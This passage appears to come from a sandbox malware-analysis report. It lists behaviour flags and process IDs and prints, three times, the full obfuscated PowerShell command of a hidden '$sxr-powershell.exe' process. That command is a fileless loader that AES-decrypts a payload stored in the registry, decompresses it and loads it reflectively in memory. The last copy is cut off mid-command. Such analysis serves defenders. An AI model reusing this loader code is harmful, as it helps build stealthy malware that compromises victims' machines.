    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Checks computer location settings
    - Deletes itself
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2968
  - - C:\Windows\$sxr-powershell.exe
      "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Checks computer location settings
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1008
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1008).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4944
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1008).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = 